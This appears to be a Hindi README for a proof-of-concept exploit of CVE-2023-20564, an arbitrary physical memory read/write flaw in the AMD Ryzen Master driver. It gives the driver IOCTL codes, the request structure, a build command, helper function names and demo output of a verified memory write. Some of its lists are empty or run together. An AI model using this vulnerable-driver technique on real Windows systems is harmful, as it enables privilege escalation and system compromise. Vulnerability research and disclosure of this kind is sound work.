
CVE-2023-20564 के लिए Proof-of-concept एक्सप्लॉइट जो AMD Ryzen Master Driver IOCTL हैंडलर के ज़रिए मनमानी भौतिक मेमोरी रीड/राइट की क्षमता दर्शाता है, जिससे Windows पर विशेषाधिकार वृद्धि संभव हो पाती है।
इस रिपॉजिटरी में एक प्रूफ ऑफ कॉन्सेप्ट (PoC) शामिल है जो AMD Ryzen Master Driver में CVE-2023-20564 भेद्यता को प्रदर्शित करता है। यह भेद्यता गैर-विशेषाधिकार प्राप्त उपयोगकर्ताओं को मनमानी भौतिक मेमोरी पढ़ने और लिखने की अनुमति देती है, जिससे संभावित विशेषाधिकार वृद्धि और सिस्टम समझौता हो सकता है।
AMD Ryzen Master ड्राइवर (AMDRyzenMasterDriverV17.sys) में इसके IOCTL हैंडलर में अपर्याप्त सत्यापन है, विशेष रूप से:
0x81112F08 - मनमानी भौतिक मेमोरी पढ़ने की अनुमति देता है0x81112F0C - मनमानी भौतिक मेमोरी लिखने की अनुमति देता हैड्राइवर निम्नलिखित को ठीक से सत्यापित करने में विफल रहता है:
यह दुर्भावनापूर्ण अनुप्रयोगों को अनुमति देता है:
AMDRyzenMasterDriverV17.sys - असुरक्षित ड्राइवर फ़ाइल# manually
g++ -std=c++17 poc_demo.cpp -o poc_demo.exe -ladvapi32
typedef struct _AMDReadStructure {
LARGE_INTEGER PhysAddr; // Physical address to read
LARGE_INTEGER SizeAndData; // Size and data buffer
CHAR Buffer[1]; // Variable data buffer
} AMDReadStructure, *PAMDReadStructure;
ReadPhysicalMemory() - भौतिक मेमोरी से पढ़नाWritePhysicalMemory() - भौतिक मेमोरी में लिखनाTestReadWriteVerify() - पूर्ण परीक्षण अनुक्रमInstallDriverService() - ड्राइवर स्थापनाStopAndRemoveDriverService() - ड्राइवर सफाई===========================================
AMD Ryzen Master Driver - Memory PoC
===========================================
[*] Installing and starting driver service...
[+] Driver file found
[+] Service created successfully
[+] Service started successfully
[*] Initializing driver connection...
[+] Driver connection established successfully
[!] TESTING READ/WRITE/VERIFY SEQUENCE
[STEP 1] Reading original data...
[*] Reading 8 bytes from physical address 0x100000
[*] PHYSICAL MEMORY READ SUCCESS!
Read 8 bytes from 0x100000
Data: 4D 5A 90 00 03 00 00 00
[STEP 2] Writing test data...
[*] Writing 8 bytes to physical address 0x100000
Data: DE AD BE EF CA FE BA BE
[*] PHYSICAL MEMORY WRITE SUCCESS!
Wrote 8 bytes to 0x100000
[STEP 3] Verifying written data...
[*] Reading 8 bytes from physical address 0x100000
[*] PHYSICAL MEMORY READ SUCCESS!
Data: DE AD BE EF CA FE BA BE
[*] DATA VERIFICATION SUCCESS! Write/Read works correctly!
असुरक्षित ड्राइवर दो मुख्य IOCTL प्रदर्शित करता है:
भौतिक मेमोरी रीड (0x81112F08)
भौतिक मेमोरी राइट (0x81112F0C)
याद रखें: यह उपकरण केवल अधिकृत सुरक्षा परीक्षण के लिए है। किसी भी सिस्टम पर परीक्षण करने से पहले हमेशा उचित अनुमति प्राप्त करें।